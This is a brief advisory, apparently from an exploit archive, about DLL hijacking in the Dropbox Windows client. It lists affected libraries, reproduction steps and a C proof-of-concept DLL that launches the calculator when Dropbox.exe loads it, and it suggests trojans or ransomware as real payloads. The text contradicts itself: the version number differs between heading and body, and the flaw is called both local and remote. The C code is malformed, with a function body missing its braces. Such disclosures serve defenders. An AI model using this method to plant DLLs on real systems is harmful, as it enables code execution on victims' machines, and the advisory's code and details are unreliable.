Dropbox 54.5.90 DLL Hijacking

Dropbox version 54.5.90 suffers from a DLL hijacking vulnerability.

MD5 | 39386c09e461da242310b863097ceab4

Document Title:
Dropbox 54.4.90 - Multiples DLL Injection/Code Execution

Date of Discovery:

Exploitation Technique:

Platfom Tested:
Windows 10

Technical Details & Description:
A local dll injection vulnerability has been discovered in the official Dropbox v54.4.90 software.

The dll vulnerability can be exploited by local attackers with restricted system user account and without user interaction.

Vulnerable Software:
[+] Dropbox

Vulnerable Version(s):
[+] 54.4.90

Affected Libraries:
[+] cryptbase.dll
[+] CRYPTSP.dll
[+] msimg32.dll
[+] netapi32.dll

Proof of Concept (PoC):
A Local DLL Loading vulnerability that could allow an unauthenticated remote attacker to manipulate a specific DLL and
execute arbitrary code on an affected system without the user's knowledge. Example (trojan horse or a ransonmware)
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the local vulnerability ...
1. Compile dll
2. Rename the dynamic link library above
3. copy the name of dll above to C:\Program Files\Dropbox\Client\Dropbox.exe
4. Launch Dropbox.exe
5. Now the calculator executes!

-- PoC Exploit --
#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void HrCreateConverter() { evil(); }

int evil()
WinExec("calc", 0);
return 0;

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